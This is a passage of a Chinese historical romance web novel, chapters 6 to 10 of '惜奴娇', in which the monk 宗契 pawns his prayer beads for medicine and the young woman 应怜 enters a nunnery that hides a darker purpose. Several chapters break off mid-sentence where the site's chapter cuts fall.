应怜“嗯”了声，便去取他的腰橐。宗契只瞄了她后背一眼，便折过身，背守着门，仰面看那日头，心中寻思着，吃了五日的药，她似乎果真气色好了些？ 还是瘦。看来这汤药确是要接着用。 待应怜拿来他的腰橐，交在他手里，满屋清苦药香中，宗契隐隐仿佛嗅到了一瞬的暖香，待再细辨时，又归于无，他却瞧见了她乌黑的发顶与低头时那一段玉色的颈项。 应怜低着头，盯着那灰布缝补的腰橐，想说什么，又没说，忽听宗契粗沉地开口：“头还疼么？” 她点点头，想起方才李员外的话，忙又摇摇头，动作急了，脑子里又刺刺地戳着，只得违心道：“已大好了，不如就……” “好就行，”见她吞吞吐吐，宗契便截下她话头，又皱眉，“得多吃，瞧你瘦的，后脖子都……” 他把“骨节支棱了”几个字默默吞了下去，咳了咳，觉得失礼，一时又找不着话描补，顿了半晌，挤出一句，“多吃点，我走了。” 应怜摸不着头脑，待与他行礼，瞧他大步飒拓地出去了，摸了摸自己后颈，费劲地猜他的心思去了。 晌午周娘子送来汤药，瞧她一口口喝完，收了漆木的药碗，却没走，特地来与她说说话。 “我方才见宗契师父出门了，想是去给你 6. 第 6 章 《惜奴娇》全本免费阅读 却说宗契。 他又先回了客店一趟，在所携的不多辎重里翻了一气，尽是秋衣、蜡烛、漆钵、刷牙子之类，再找不出半个铜子儿来。 他又通通杂七杂八地塞了回去，最后重重坐到一边方墩上发呆。 一千五百贯会子换做了腰橐里叮铃哐啷的一贯整钱、一贯散钱，重是重了，贱也贱了。早知道就不在青玉阁里大闹一场，忍着被那些个恶仆打上几拳，总比多赔一二百贯的好。 没奈何，还得去买药来，怕再拖一拖，药价就又涨了。 他出店疾行，项挂念珠，手握镔铁棍，一路倒是无人相扰，在冷冷清清的零星叫卖声中，到了已来过一次的铺肆前。 这间张挂着“小张防御药铺”招牌的药铺子，仅门脸儿就有李员外那间两倍大小，怪不得称作“家业大”。他挤过几个抓药的人，还没开口，伙计早记得他，便招呼道：“师父，这回来还是那几样？” “还是那几样。”宗契道，摸出腰橐里铜钱放在柜上，那伙计便张罗抓药，又让副手点散钱，半晌才勉强将几百个铜板串了整。 “不足贯，还少三十七枚，您看……”副手笑道，“要不师父打五贴回去，我再饶您三百又十文？” 宗契道：“六贴已是短了，五贴不是更少？要不这样，我把我这斌铁棍抵在你这儿，并这些钱，你先抓个十贴让我带回去，不几日我便拿来钱凑足数，成不？” 说话间，那伙计已麻利地上梯下梯，又包好了药，只有五贴，放在柜上，说话很是客气：“师父，真不是咱铁石心肝，咱们也是小伙计，这药铺子是小张防御家的，谁也不敢替他做主，白饶您这么些药。您是个出家人，别为难咱。” 说着退了多余的三百来文，又将药包推过去。 两边隔着柜台推推扯扯，早有人乜眼看过来，宗契何曾干过这讨价还价的琐碎事，面上挂不住，又不得不强颜罗唣，脸色涨得有些红，又道：“实在是一时周济不开，你再配个五贴来，也不过就一二千钱，我几日便垫上！” 他声音一大，就如雷霆一般，瞪着眼、手握斌铁棍，那几个伙计实不情愿，又有些惧，只互相使着眼色，一个机灵点的便道：“如此，师父您往右顺大街去，要不了二百步，拐角巷子口有家质库，您就说是小张防御家荐来的，您去那儿当当看，或可得个一二十贯，不就周济开了？” 说着，一行人只看着他，生怕他恼了要出手似的。 宗契犹豫了半晌，最终跺了那棍一下，出了口胸中郁气，“行！你们等着我！” 那质库开在一条巷口，市廛里的拥拥闹闹分毫不染及此处。宗契大老远便瞧着那檐下挑竿上，不大不小的“解”字在一面白底细布的招幌上冷冷清清地摇荡，人行至此，大多头也不抬便过去了。 店门口横栏着一黑漆长案，里头坐着个掌事，皂衫角带，软裹巾帽一应不戴，只露着顶髻，见了宗契，说话倒很客气，“师父来此，可要帮衬敝铺一二？” 宗契垂眸，看他那厚厚的账簿上行行蝇头小楷，也不知典当了多少人的生计。晌午过半，斜照渐渐地拉长，纸上是扰扰浮尘，字里是碌碌苍生。 度牒倒是很有市价，典了却只有等着吃官司；镔铁棍他向来使惯了的，跟着他一路山上山下，是保命的家伙什；除此之外，就只剩这一身半旧直裰，与一串念珠。 “师父、师父？” 他回过神，道：“我要典押。” 掌事问：“所典何物？” 宗契把斌铁棍靠在一边，双手从项上托下念珠，绕了三圈，放在案上。 “此物，”他道，“是我师父当日传于我，百年沉香木辟成的这一百单八颗珠子，又在佛前年深日久地供奉着，你看这浆色。” 掌事恭敬地双手合十，而后托起那念珠，看、捻、闻、敲，不住点头，待宗契说完了，问道：“师父欲质多少？” “两百贯。”宗契报了个数。 掌事干脆利落，把念珠仍三圈绕毕，一叉手，做了个礼，“既不是真心要典，则请去别处。” 宗契浓眉一皱，“怎么不是真心要典？我何曾拿你谑戏？” “师父上来就狮子大张口，我这小解通共也就二三百贯，您竟是要抢不成？”掌事不慌不忙，“这念珠虽时日长久，但不过凡品。其沉香的气性腥烈，失了清逸幽雅，是为钦香。钦香价贱，你这念珠也就值五六贯而已。” 宗契气得一拍案，将笔墨纸砚震了三震，“你再说一遍？五六贯？瞎了你的老眼！若不是我一时手紧，怎舍得把这宝贝押与你！欺人太甚！” 掌事被这一声虎啸山崩吓得往后一靠，忿忿嚷道：“清平世界，买卖不成，你还想打么！” 吵嚷震动，附近便聚了些人，指指点点地看热闹。宗契压下一腔火，顺顺气，与他辩驳，“我知质库押行都是往贱里压价，只是我这念珠若平常论价，至低也要个五六百贯，我已是让了利，不想你如此贪横！” “纵是禁苑里的珠子，也不值当拿五六百贯来换！”掌事冷笑，“师父戴这样一串好珠，想来宝刹里定开着长生库，故此看不上我这小解，请吧。” 宗契抄起念珠，待要走，忽然又脚步一顿，盯着他，“这么说，你是承认我这念珠是个宝贝了？” 围观之人哄然大笑。 掌事自知失言，被哄笑得下不来台，抽了自己几个嘴巴。宗契出了口气，道：“你再抬个价，咱们折中一下，我质于你便是了。” 掌事摸摸珠子，又咂咂嘴，一片闹闹嚷嚷的声音中，不情愿地比了个“七”。 “不成，五十贯。” “我再添一贯，当给贵寺捐几盏油灯钱！” “太少，你再添点，我们那大佛金身也该漆了！” “……十贯！再多坏行市了！” …… · 这一晚起了风，乌云蔽月；坊市又行了宵禁，巷陌河道，连团灯火也无，夜就格外的黑。应怜用过晚饭，倒了盆热水，悄摸着褪了衣衫，在一片漆黑中，给自己囫囵洗了洗。 没有女使照料起居，一应琐碎事都得自己来。 那抹胸日日贴身穿着，一股子汗渍味，也该洗了。 只是应怜从未洗过衣裳，就着擦洗的水，蹲下身，笨拙地搓那布料，澡豆抹不上几回就滑进盆里；素罗的料子穿着舒适，洗起来却搓得她手疼。 她就这么有一搭没一搭地摸黑洗着，心不在焉地想着白日里周娘子的话。 他若与你无缘无故，为何平白为你破费钱财？ 周娘子不知，他在她身上花的哪里止两贯药钱，她是他舍了九百两花银买回来的。 也不算无缘无故，她的身契还落在他手里。 宗契师父算是个好人，会为她治病、买药，可她是万万不敢求他从此放了自己的。他若觉得她不识好歹，一气之下又将她卖进哪个腌臜之地呢？ 思及此，她搓洗的动作不自觉地便停了下来，脚蹲得有些麻，而她生出了一丝妄念，竟忽略了这酸楚麻痒。 ……若、若他当真放了自己呢？ 他是个大善之人也好、嫌她累赘也罢，倘使他真的不要她了，任她自去，她又能去哪儿呢？ 洛京是回不去了，“应怜”已经是个死人。夫家……莫说她与元羲还未成大礼，就算已成夫妇，恐怕也只有被黜下堂的份儿。外地的亲朋更是指望不上，她家的事一犯，他们避她还来不及。 她的爹娘兄长俱已不在，天大地大，思来想去，竟没个容身之所。 温水逐渐凉了下去，澡豆的清香愈发浓郁起来。应怜猛地回神，四处摸不着澡豆，最后才醒悟，那滑不留手的小玩意儿早就化在了水里，徒留一室清幽。 没奈何，她只得换了盆水，把抹胸洗净拧干，晾在后院一处偏僻的角落里。所幸今夜有风无 7. 第 7 章 《惜奴娇》全本免费阅读 经宿的雨后，草珠叶露于檐下屋上点缀湿意，黎明后雨止，却阴沉了一整日。 应怜没晾得抹胸，却呛了一身的风雨，至天亮，头里便时胀时刺，好歹借了件李家女娘的抹胸穿了，周娘子送饭来，又说了会话，谈到过几日初一，要去城外莲台寺烧香云云。 周娘子走后，应怜又洗那落满泥点子的抹胸，也不知是不是不得章法，污痕怎么洗也洗不干净，那淡白素罗的料子上，几处刺眼瘀斑，让人懊丧。 她便有些提不起精神，仍想着昨晚的心事。 忽听得敲门声。 却是宗契师父一早过来，待她开了门，当先交了包腰橐过去。应怜接下，缚在手中沉甸甸的，知是整袋的钱，也不知他打哪儿弄来的。他今日倒换了一件灰布短衫，比皂色时少了几分肃煞庄严，窄口袖腿，粗布腰带系得齐整，衬得身形挺拔健壮，一看便知是常年习武的精气神。 应怜正要去收好钱，不想又被他塞了把水样清凉滑溜的物事，低头一看，却是块新裁的天水碧素绢，轻柔淡雅。 她向来爱这色，此时却茫然地握着，分明轻若无物，却怎么都觉得比那腰橐更沉。 宗契一路已想好了说辞，“来路上见人唱卖，随手扯了一块。拿去玩吧。我……” 有话同娘子讲。 话几近出口，但见应怜瑟瑟然的目光望过来，不知是不是阴天光暗，那脸色直发白，又素净消瘦，紧攥的指节被天水碧一衬，更是纤细见骨。 若是有心人见了，便是春池縠皱、闲愁秀韵。然宗契却一愣，心道怎么才过一夜，她气色又差了，此时与她絮叨，又怕更惹伤心。 “师父想说什么？”应怜细细地问。 “我……”迎着这萧索寂寥的眸光，宗契一霎时却忘尽了言语，徒劳了半晌，憋出一句，“昨夜风雨大作，你关门户了没？” …… 到底也没点透来意，直到离了后院，站在铺子前了，他这才懊恼起自己笨嘴拙舌起来。 但心里某处明镜似的，想来只是不愿承认。 ——她哪有什么去处，死人照拂不了她，活人避她如瘟疫，连身契上押的都是个摸不着头脑的名字：柳惜。 看着街两边人来人往，宗契挠了挠光光的头，只觉得发愁，愁得发茬子都长出来了。 · 周娘子煎好了药汤，端来与应怜喝，一眼正瞧见床头叠放整齐的素绢，“哟，这天水碧的色儿真正，一尺得好几百钱吧。宗契师傅裁与你的？” 应怜默默地喝药，点点头。 黄连最苦，压得她舌根发麻，余光里周娘子捻着那绢，爱不释手地翻来覆去。 “只是短了些，做件裙子紧巴巴的。”周娘子又道，“褙子更不行，恐怕只能裁件抹胸。” 说罢，她仍原样叠好，放在枕上，候应怜喝完，收拾打扫了，又拿来自家的针线簸箩，与她并坐着，做些绣活。 应怜一上午都在想心事，便有些发蔫儿。周娘子只当她一向不爱说话，只穿针引线，自绣自的，过不大一会，见她拿着剪子、料子发呆，便问：“怎么，不量尺寸、打样子？” 应怜这才回过神来，又搁下了剪子，迟疑道：“……我、我不会。” 她有一双纤长修白的手，捻惯了香、握惯了笔，指下展来是书卷画帛，当真拿着剪子，剪的也是花枝岔叶，针线一道却一窍不通，至今绣不出一只全须全尾的水鸭子。 恐怕也是冥冥中的命数，叫她旧的那件洗不净污点，新的这件又裁不出个头绪。 周娘子却有一双针黹巧手，线走不停，穿针引线之间，半朵金莲已在红纱罗上舒展了一瓣脉络。应怜瞧得入迷，问道：“娘子在绣勒帛？” “哪是啊，”周娘子停了针脚，将那纱罗带子微微展开，露出已绣好的十来朵金莲纹样，递与她，“我许了莲台寺的师姑一条十八朵金莲的帔子，想着初一烧香时，便供给观音菩萨金身。” 说者无意，听者有心。应怜攥着素绢，问：“莲台寺……是尼寺么？” “正是。”周娘子道，“咱们吴县的尼寺不少，却少有如那处般灵验的幽静乐土。那里的师姑也俱是有大功德之人，不像别处的僧尼汲汲营营。我们素来初一十五烧香，只在那里。” 她瞅了她一眼，便又低下头，针尖在发里顺了顺，继续绣金莲的缘边。那金红佛莲映在应怜眼里，如见普照佛光，引迷途之人渡业障苦海。 佛前若供三盏长明灯，她是否便有了盼头，盼她爹娘兄长早登极乐，再不用忍受轮回苦楚？ 她一时想得痴了。 · 五日的时间疏忽而过，算起来，她已在药铺子里住了十天，也喝足了十天的汤药。不知真是苦口良药，抑或本就已无大碍，应怜的头疼果真好了不少，揽镜自照，额上白净，料也再不会有人嫌她“印堂发黑”了。 白昼仍热着，早晚却凉了起来。她寻了个时机，一日将晚，叫住来看她喝药的宗契，“师父暂留步，我有话与您说。” 门开着，宗契正撩了竹帘子往外走，一脚里、一脚外的功夫，驻足回望，高大的身形将将抵着门框，落下朴素的灰影来。应怜只见他脸廓英挺利落，半缘镀落日沉金，半缘携凡尘温和，顿了顿，缓缓走上前。 宗契一眼瞧见她手里的那片天水碧的轻纱薄色，挑眉微诧，“怎么，你不爱这颜色？” “颜色很好，是我自己手笨，裁不来衣裳。”应怜勉强笑了笑，眸子泛红，还将素绢还了他，低头宛如做错了事，“我原想给您做点什么，又怕糟践了料子。” 宗契惯不会拉拉扯扯地推辞，便收了素绢，想了想，“那我得了空找人给你做一件，嗯……抹胸。” 话说出口总觉着有点赧，送闺阁里的女娘贴身衣物，总归有些不大合适。但买都买了，总不能再退回去。 不料应怜却摇摇头，吸了吸鼻子，仍是垂着脑袋，盯着自己的鞋尖。 “师父，我想出家。” 他便彻彻底底僵住了。 · 摩顶受戒那日的情景，他已有些记不大清了，只记得那会子师父就已经像后来那么老。他亲为自己主持受戒，又说了一堆不知所云的话，最后让他在佛前郑重地叩首，又让他向他叩首。 从此他没了俗家的姓，却仍是原来的名。师父虽不教改，却与他道：“此‘宗契’非你曾用之名，而是我佛光寺‘宗’字一辈的法名。初知你名姓那日，我便知你与我佛有缘，否则怎么就恰好叫这个名儿呢？” 据说这话他也曾在他爹跟前讲过，当时两人便为这个打了一架。他爹是这么回的： “老秃驴恁地不会讲话，我贺氏独门长子，怎舍得把你做小秃驴！” 可终究是上了佛山、入了禅林，一待就是十多年。 若说他当真一心向佛，宗契扪心自问，佛是什么，他也说不清楚，不过习惯了每日擦拭佛像金身，为供养的佛灯添油，闲暇了就在塔林间练武，从东卷到西，把瓦砾落叶卷得到处都是。 清静的日子过惯了，便淡忘了在俗家曾怎样生活。 但他仍旧不解，凡尘之人，怎会生出尘之 8. 第 8 章 《惜奴娇》全本免费阅读 然最终也没有改主意。 九月初一，应怜陪周娘子到城北莲台寺烧了香。回来后周娘子便道应怜果真是个有慧根的，怪不得那妙戒住持一见便心生欢喜。 宗契寻空又问了应怜一回，她仍如前语作答。他便不再强求，三日后，待应怜身体无碍了，亲自送她去莲台寺，将两人一场浅薄的缘分全了始终。 这一日晴光大好，一辆马车携着二人，同药铺子的周娘子一道，出了吴县城北。 时节已近重阳，城外却没什么人，牙道上零零星星只见把守的兵丁，皆是附近募来的乡勇，到得莲台寺山下，又围了一圈，把守在出入的道口，专盘查诘问衣衫褴褛之人，见了他们的马车，问也不问便放行了。 “最近城外聚了流民滋事，若无这些兵士护着，我也不敢带你来莲台寺呢。”周娘子道。 应怜上回来，已见过一次了，默默点头。 几人过了山门，登上低矮的半山，沿着石砌的小路走入翠树修竹里一座清幽雅致的禅寺。碧瓦红墙、琉璃屋脊，寺前门楣的大匾上，漆金三个大字——莲台寺。 应怜走出了一身薄汗，素白的脸晕起了一层红，扶着立地的铜香炉暂歇，待喘匀了气，向宗契点了点头。 她披着一件月白的半袖褙子，腰带浅浅地系着，绦子结到了末端，仍揽不住纤瘦的腰身，立在半荫的古柏下，斑驳阴影如镂花浅淡，扑簌簌地落在衣上、肩头，风拂不去，只牵起纱罗榴裙的裥褶一角，一霎时竟使宗契生出浑不胜衣、扶摇而去之感。 他心念一动，伸出手去，欲捉她腰带，怕留不住，猛一下又回过神来，只将镔铁棍换了只手，匆匆掩饰住了。 “我送你进去。”他道。 周娘子落在后头，此时也跟上来了，眼里眉间似有一份挥之不去的喜色。 寺门前早有女尼等候，见几人来了，施了个礼。 几人各自还礼，跟着人迈过门槛，进得寺去。 莲台寺不大，却步步清雅。宗契四顾望着，只觉比从前任何一处禅院都更秀致，也不知是南人的禅寺都如此，还是因尼众居处之故。 宝殿里并无香客，殿后小门落了锁，他们只被带去一处偏殿。从开敞的轩窗，正可遥望藤萝婵媛的走廊，廊柱罗列成排，其上斗拱精巧，一气儿的青绿碾玉装彩，枋心两端的如意流云竟轻灵仿若无质，使人神迷。 住持妙戒上师亲自来迎，年逾五十、枯瘦庄严，正对应怜时却隐有笑意，与她很是投缘的模样。 因宗契在场，不便去向后殿斋房，几人只在前头转了一圈。应怜又拜了一回观音与童女，心知今后便要时常侍奉在侧，仰首望那宝相金身，目光飘下来，却不自觉又看了眼身旁宗契。 宗契师父心不在焉地听周娘子与住持搭话，微偏过头看窗外景致，侧脸鼻梁高挺，于眉目间落下深浓的阴影，晕开在点漆黑眸里，又透出几分清明的光来，竟比菩萨手托的琉璃净瓶更加明耀。 周娘子殷勤的说话声在宝殿回响，正谈到应怜在药铺子里时，如何柔顺虔敬，妙戒便道：“娘子虽有向佛之心，到底年岁颇小，恐心性浮沉。不若仍蓄了发，在山门内住一段时日，果真志向已定，再落发不迟。” “是，一切凭上师吩咐。”周娘子道。 妙戒又道近日恐不太平，诫告无事轻易不得下山云云，应怜自是应下，忽而宗契插了一句，“贵寺只司香火的营生么？” 话问得有些突兀，妙戒却如常应答：“只凭香火，哪得清闲如此？” 她便携他们出得宝殿，从侧廊绕出，拐过一道月门，却见别有洞天，是一连几间开敞的斋舍。 妙戒与近旁人叮嘱了几句，她便进了斋舍，不多时，换了个清清秀秀的女尼来，并未穿一色的灰布僧衣，却着了层层叠叠的退红、莺黄、牙白、乃至天青的素罗襦，手里还捧着几叠生色薄纱，各有花草、虫鸟纹路不一。 正是一日里最热的时候，这样重重叠叠地堆在身上，她却丝毫不出汗意。 周娘子连声赞叹：“这般精细的好料子！” “这是敝寺织出的绫，在平江府粗粗有些名声，人只管叫‘苏州寺绫’。”妙戒随意取了一块檀色的薄绫，舒展开来，教他们将那细密华美的球路纹看得更清楚，“我寺中上下也有女僧几十口，只靠香火，囫囵得个温饱则可，哪还能置得这殿顶琉璃、廊上华彩？” 说罢，她让那作衣架子的女尼回去，又带几人回了前殿。 宗契这才放心。 应怜原是好奇，此时又忐忑起来，瞥一眼那如烟如霞的檀色薄绫，心头长草似的，终于挨到与妙戒说话毕了，送宗契出寺，与他告别。 两人站在平顶的石阶缘处，临着几步向下的山路，宗契道：“莫要送了，我自己下山就成。” 应怜心里不踏实，回望阒无人迹的寺门，正半阖着掩留一条门缝，知是给她留的门；又看看宗契，眉眼有几分纠结，“我怕……” “怕什么？里头都是女僧，你有个安稳的立处，比跟着我千里无依的好。”宗契宽慰。 “……我怕被赶下山去。”应怜越想那寺绫越惶恐，上前却捉住了他的袖子，纵立在上一阶，也比他矮上一头，急道，“我既不会纺布，更不会绣活，我……我织不出那般好看的料子来……” 宗契忍着笑，任她捉着袖子，心中一动，脱口而出，“要不就别出家了，咱们再想想？” 不料话出了口，却见她缓缓松手，面上神采变幻几回，最终摇了摇头。 “师父，您就要走了吗？”应怜顿了顿，目中流连不舍，“回五台山？” 他应了声。 啁啾鸟鸣在他们头顶忽闪而过，引得叶影轻动，光点摇曳在她眼中。蝉鸣仍续，宗契在这蝉雀野噪声中，却觉出了半分寥落。 他望向她的眉眼，至今仍有一丝郁郁，再不像初见时，映着万千盏花灯璀璨，笑得那般开怀。 他忽觉惋惜，此一番分别，两人当再会无期，他便也再瞧不见第二双笑得那么好看的眼眸。 应怜也看着他，眼眶微红，退开两步，立于粗石阶上，郑重地向他行了个大礼。 宗契慌忙扶她。 “我今日方知，师父高风亮节，救我于水火，不图丝毫。”临别在即，她喉头微哽，无限感激，“料来我今生再无法报答师父恩情，从今往后，我当日日在佛前为师父祈念，盼您福寿无极。” “怎么又哭了……”他手忙脚乱，在怀里掏了半天，也没找到块洁净的帕子，很是尴尬。 她却破涕为笑，手背抹了抹眼睛，“师父，那我回了。” 宗契被她那一笑闪了心神，半晌才胡乱答应了，回身下山，只是耳根微热，懊恼地揉了揉耳朵，忍不住又回望了一眼。 松枫寂寂，古柏无声，莲台寺的青瓦琉璃于繁密绿意间翘出一檐，石阶尽处，却再瞧不着那道月白纤瘦的身影。 他持棍在肩，一步一步迈向山下。 · 周娘子直到晌午方归。 今日药铺子里没人抓药，账簿上空空落落。李员外歇在里屋，搭了声话：“回来了？” “回来了。”周娘子摘下盖头，换上靸鞋。 “那和尚呢？” “走了。”她舒了口气，给自己倒了碗绿豆水。 她浑家便挨过来，手往前伸着，“钱呢？” 周娘子没好气地白了他一眼，取了个一尺见长的半旧木匣，拍在他手里。 “喏，辛苦了十来日，我前前后后地伺候着，终是不负苦心。”她咂着甜蜜蜜的饮子滋味，很是自得，因而更嫌起他来，“你枯守个药铺子等开张，一年半载也不如我一朝钱来得快！” 李员外打开木匣，抄起里头一沓三贯一张的会子，眉开眼笑地数了三遍，“七十二贯。我得快去榷货务兑成银子，免得过几日又贱了。” 他说着，急急匆匆地整了衣装，又被他妇人拉住，悄声问：“你那些药，果真不要紧？” “有什么要紧的！”他不大耐烦，“磨成了粉，谁看得出来霉了还是潮了？那些个流民连贱口都不如，配吃得起好药么？就这我还不想给呢！” 说着掰开她的手，仍把匣子锁好，贴身藏着，志得意满地去了。 · 话分两头，说到宗契。 他回到客店，收拾衣物细软，还剩半日残照，原本盘算着歇过一夜，翌日天亮就出城离开。 安顿完应怜，本以为一件心事已去，落得一身轻松；宗契却发现，满不是这么一回事。 至晚，他心心念念想的还是应怜，不知她在寺里可住得惯。他素知无论在家或出家，人多口杂的地界，惯来欺生，她又瘦得像 9. 第 9 章 《惜奴娇》全本免费阅读 应怜只得怏怏地又回去歇着。 寺里为她单辟了一间小院，清幽别致，另有一人同住，正是那曾披了重重寺绫的沙弥尼，长她两岁，法名度尘，清秀窈窕，浑不似廊下与她擦肩的那些粗壮女尼。 度尘捧了两套里外换洗的衣裙鞋袜，又指与她床榻衣奁的位置。应怜见彼此年龄相仿，遂起亲近之心，不想十句里倒有七八句是她自作多情。度尘对她爱答不理，偶尔却又教她发现上上下下不咸不淡地扫量自己，问起何事，她散漫敷衍得很：“看两眼而已，又不吃了你，这就受不住了？” 她吃不准度尘就是这么个绵里带针的脾气，还是单只针对自己，渐渐地便也无话了。 眼见重阳只剩两日光景，寺里仍冷冷清清，没几个香客。也不独是寺里，槛外山上，茱萸结实，映红攒簇，却落寞自赏，无人邀簪上头。 应怜吃得太撑，却还剩小半碗，只得殿前殿后转了一圈，又踱回来继续吃，顺嘴叹了一声，“看来今年城北恐无人登高了，都是围山的兵士之故，连带寺里香火也都冷落。” 度尘午睡刚起，慵慵懒懒地歪在一张榻上，闻言搭了一句：“香火冷落，得些清静不好么？往后啊，怕是你想清静都不得！” 应怜只以为她在躲懒，同住了几日，她发现，这位师兄似乎从未做过一点活计，镇日不是睡觉就是照菱花镜，偶尔将两件络了珠翠领抹的花罗褙子取出来翻看，这里缝缝、那里缀缀，将珍珠、杂捻的金丝压得更齐整，又宝贝似的背着她，不让瞧半眼。 ……总之，不大像一个虔敬菩萨的女僧。 “师兄，”应怜瞅她又针啊线啊地摆弄起来了，踌躇问道，“咱们……是否要去东院儿，同师兄、师叔们做些活计？” 那些个女僧白昼刺绣、夜间纺纱，只她们在这闲散消磨时光，她胃里饱涨，心里却虚得很。 不料，度尘瞥了她一眼，嗤笑起来。 “做活计？织布吗？”她讶然一笑，却露了三分讥诮，“咱们不织布，咱们穿她们织的布……你怎么像呆鹅似的？” 呆鹅应怜张着她的喙，半晌仍是不解。而度尘又不理她了。 莲台寺的寮房分东西二处，皆在后殿外又进一层，彼此不相连通，两边的女僧也不大来往。应怜只晓得西边尽是如她这般年岁上下的沙弥尼，皆已剃了发的，但就同度尘一个脾性，见了她都不甚热络。 应怜不知这莲台寺究竟是什么规矩，处处于她似隔了一层。虽一眼望着通透无碍，探过身去，却犹如涉在岸边、俯身就水，令她没由来便被呛上一口，窒息得很。 或许只因她是个新来的。以前她也曾听说过的，家里凡新来了人力女使，总要受些老人的磋磨，挨过去就好了。 她这么安慰自己，好容易咽下已凉了的最后一口油肉，见度尘锁好衣奁，悠悠闲闲地溜达出去，心知她是往从前的住处与师兄弟们说话去了，独自枯坐无益，不如再去搭一搭话。 八成又是热脸贴冷屁股，她有点怵，但如今只此一身，前头无遮无挡，只得硬着头皮再去贴贴。 西寮房院落隔开好几间，都一般无二地典雅布置，同住的或两三人、或三四人，晌午光景十分地清闲，便叽叽喳喳地凑在一处闲话。 应怜脚步磨蹭，寸许的小碎步米粒似的一路向前，挨着隔壁院的墙根，穿进零星半谢的各色蔷薇枝旁。不期然听见里头隐隐约约不真切的说话声。 “把你比下去了……” “早晚是个魁首，何不傍上她，二人一起……” “……李郎……欢情薄了……” 花萼凋零，退粉残红，一袭乱香蓦地扑入她鼻中。半窗半枝的掩映里，恰见度尘薄薄的灰罗衫摇颤，那沙弥尼挺了半步，微恼着脸驳身边之人，“不过是个呆鹅，空长了一张俊俏的……” 应怜鼻腔里花粉团团地钻，蓦地一个喷嚏打了出来。 度尘的衣袖被拽了一下，几人霎时截住话头，不言不语地瞧将过来。 应怜不曾想着偷听，也没听上几句，正懵头懵脑，从墙外拐进来。蔷薇刺扎了她一下，却只遗了两瓣残花在她发间。 她有些懊恼，先声解释，“我没有偷听，我不过恰好……” 那七八个娥眉黛扫的沙弥尼轻捂着嘴唇，互相对视一眼，或纤美、或丰腴地转了腰肢，私语轻笑着各自散了，纯如被不期而来的小舟惊散的一滩白鹭。 度尘脸色不大好，最后一个离开，擦肩而过时，朝天翻了个大大的白眼。 · 九月初九，应怜过了个最最不踏实的重阳节。 也不单是这一日不踏实，连着几日来，不知为何，她总不安稳，分明寺还是那个寺、人还是那些人，但只是说不出的存有疑虑在心。 究竟如何，她也道不上来，只得寻空去拜了拜观音菩萨，希冀今夜能得一场安眠。 香火仍有，只是稀稀落落。她忆起初一那日，周娘子道莲台寺香火络绎，未免与人挤挨，特地带她赶了个大早。那回也是如此，冷冷清清的，她只当是天还没亮的缘故。 菩萨面目依旧悲悯，下俯苍生。她拜过一回，仍沿殿后临墙的走廊而归，打眼一扫，却见一处墙边旷地，满目红艳，原来是一株经年的山萸树，不过一墙来高，压实累累，红盛山火。 莲台寺后院的门时常锁着，前殿院外，她又不被允许踏出一步，纵有茱萸，也无从采撷。应怜心念一动，便去折了两支山萸，虽不似茱萸气性香烈，但胜在攒簇可爱，插在髻上，权应一应时节。 她为度尘也挑了两支，虽她不能簪在头上，但系在领抹衣带上也颇为别致。 回屋时，度尘果在对镜顾影自怜，正捏着香墨给自己描画浅文殊眉，见了她递来的山萸，也不接，镜里秀目往她云髻间瞄了眼，便问：“你不识得此物？” “是山萸果。”应怜道。 “既识得，怎么还往头上插？”度尘嘲笑她，“重阳节，人遍插茱萸，你倒好，拿串山萸来簪。怎么，能解思乡之苦？” “解不解的，总之也回不去家乡。”应怜不在意，自顾自把挑选了半天的带朵山萸搁在她镜奁上。 度尘抿着口脂细细的唇，脸色阴晴不定，一扬手，掀翻了那两支山萸，“我不要，谁爱戴谁戴去！” 正不巧，一支砸在应怜脚面上，红艳艳的汁水啪地飞溅出来，污 10. 第 10 章 《惜奴娇》全本免费阅读 猛地被这么一吓，抽泣给硬生生憋回去了。 她刚翻了一半的身，正对着窟窿般黑的更里侧，那里无人起身，连窸窣的动静也无。等了半晌，应怜哑着嗓儿轻问：“……师兄？” “你吵得我睡不着。”黑夜里度尘的声音无根似地飘来，“不就扔了你两支野果么……心眼比针尖还小。” 她嫌弃之音很明显。应怜用被角擦了擦泪，觉着还是该解释一下，“不是为山萸，我想家了。” 那边传来响动，或是度尘翻了个身，也不知是面对还是背对着自己。她好似半梦半醒，话里几分有气无力地懒： “谁还没个家。” 一轮月从淡翳烟云里现出一钩，半点微光映得窗纸微明，却点不亮窗格上一朵最小的木雕海棠。她呆呆地盯着那点黯淡的月光，道：“我想娘了。” 伸手不见五指的秋夜里，也不知度尘有没有翻白眼。 “谁还没个妈。” “我还想元羲。”应怜的泪又流了出来。 度尘问：“元羲是谁？你爹？” “不，是我、我……”她答不上来，半晌才后知后觉，度尘拿她取笑呢。 度尘又翻了个身，衾枕衣料沙沙地响，“那就是情郎了。” 应怜没吭声。 中夜凉薄，连带着人语也沾染了几分。度尘又问：“那和尚又是你什么人？” 她这才想起宗契来，想他粗布僧衣，一俯一仰却有顶天立地的岿然气概，想得深了，便不假思索答道：“恩人。” 度尘于幽晦里咂摸那两个字，而后噗嗤一笑，“那钱给了谁？恩人？周娘子？” “什么钱？”应怜茫然。 那边不说话，半晌，砸来两个字：“……呆子。” 就这么有一搭没一搭，到后来应怜朦朦胧胧地折腾出了一点睡意，仍强撑着，问：“你又为何出家？你也……” “家中遭变”——她没说出口，怕度尘掀了被子要来打她。 不想度尘不紧不慢地回答：“家贫，没嫁妆发落，左右嫁不了个人家，不出家做甚？” 昏昏沉沉，听她提及嫁妆，应怜不由想到当初瞧见自己那长长一串嫁妆单子时，忧得吃喝不下，生怕多吃一口，就要把家当吃垮了。 她娘却笑道：“你才多大，哪里晓得，如今尚侈奢、尚厚嫁，若嫁妆上不好看，元家人可是要欺负你的。宽心，咱们家还不至于少了你那点嫁妆就过不下去。” 可到头来也没嫁了，不知那千亩良田、十几万贯奁具是否已入了元氏公中，还是也作家产抄没了。 “早知如今，我倒不如把嫁妆给了你，也好过我们两个一头出家。”困意愈发上头，她含糊不清地发了一声叹。 度尘又没响动了，不知是否也睡下。 只在她将要入梦时，那边忽地说了句话，没头没脑的，“用些盐在水里，把鞋浸上一刻，能搓去花汁。” 应怜也不知自己应了没有，似乎是出了声。 她也不记得自己是否说出了压在心底的那句“只要你不翻白眼，还是很好看的”。她于黑夜中醒来，又在黑夜里睡去。 伶仃人遇伶仃夜，互拥着暖了一霎，终又各自睡了，挨至天明。 · 第二日一早，有小沙弥尼来，说法持师叔教应怜去听经。 这是连日来头一回，应怜有些惊喜，答应下了，穿了鞋就要与她去。不想却被度尘叫下，“应怜来替我画眉，我这左边的眉总画不成。度远，你先去，她就来。” 